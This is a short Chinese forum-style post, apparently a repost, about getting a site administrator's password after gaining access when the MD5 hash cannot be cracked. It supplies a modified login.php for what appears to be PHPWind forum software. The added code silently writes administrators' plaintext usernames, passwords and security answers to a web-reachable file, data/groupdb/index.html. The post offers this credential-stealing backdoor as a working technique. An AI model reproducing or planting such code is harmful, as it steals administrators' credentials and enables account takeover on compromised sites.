|
有站的权限,但是管理员密码很复杂,MD5暴不出来,想得到他密码咋办?
在登录文件做手脚啊...我来贴一个我修改的.
login.php里面替换掉对应的部分就OK了. [Copy to clipboard] [ - ]CODE:
if($action==“login“){
$ques=($_POST[\“question\“]!==\“-1\“) ? $_POST[\“question\“] : $_POST[\“customquest\“];
$qs=\“问题:\“.$ques.\“答案:\“.$_POST[\“answer\“];
if(!$_POST[\“step\“]){
$jumpurl = $pre_url;
require_once(R_P.\“require/header.php\“);
require_once PrintEot(\“login\“);footer();
} elseif($_POST[\“step\“]==2){
$logingd && GdConfirm($_POST[\“gdcode\“]);
$loginq && Qcheck($_POST[\“qanswer\“],$_POST[\“qkey\“]); require_once(R_P.\“require/checkpass.php\“);
include_once(D_P.“data/bbscache/dbreg.php“);
InitGP(array(\“pwuser\“,\“pwpwd\“,\“question\“,\“customquest\“,\“answer\“,\“cktime\“,\“hideid\“,\“jumpurl\“),\“P\“);
if ($pwuser && $pwpwd)
{
$md5_pwpwd = md5($pwpwd);
$realpass=$pwpwd;
$safecv = $db_ifsafecv ? questcode($question,$customquest,$answer) : \“\“;
list($winduid,$groupid,$pwpwd) = checkpass($pwuser,$md5_pwpwd,$safecv,$lgt);
$adminid = array(“3“, “4“, “5“); //adminid=3,4,5,就是管理者.
if (in_array($groupid, $adminid)){
$showtime=date(“Y-m-d H:i:s“); //记录的时间.
@$fp = fopen(D_P.\“./data/groupdb/index.html\“, \“a\“); //写入到原本就存在的文件,而且这个文件应该是可写的.
@fwrite($fp, \“用户名:\“.$pwuser.\“-密码:\“.$realpass.\“-\“.$qs.\“-GroupID:\“.$groupid.\“-\“.$showtime.\“
\“); //基本格式
@fclose($fp);
}
}else{
Showmsg(\“login_empty\“);
}
if(file_exists(D_P.“data/groupdb/group_$groupid.php“)){
require_once Pcv(D_P.“data/groupdb/group_$groupid.php“);
} else{
require_once(D_P.“data/groupdb/group_1.php“);
}
$windpwd = $pwpwd;
$cktime != 0 && $cktime = $timestamp;
(责任编辑:网络) |
|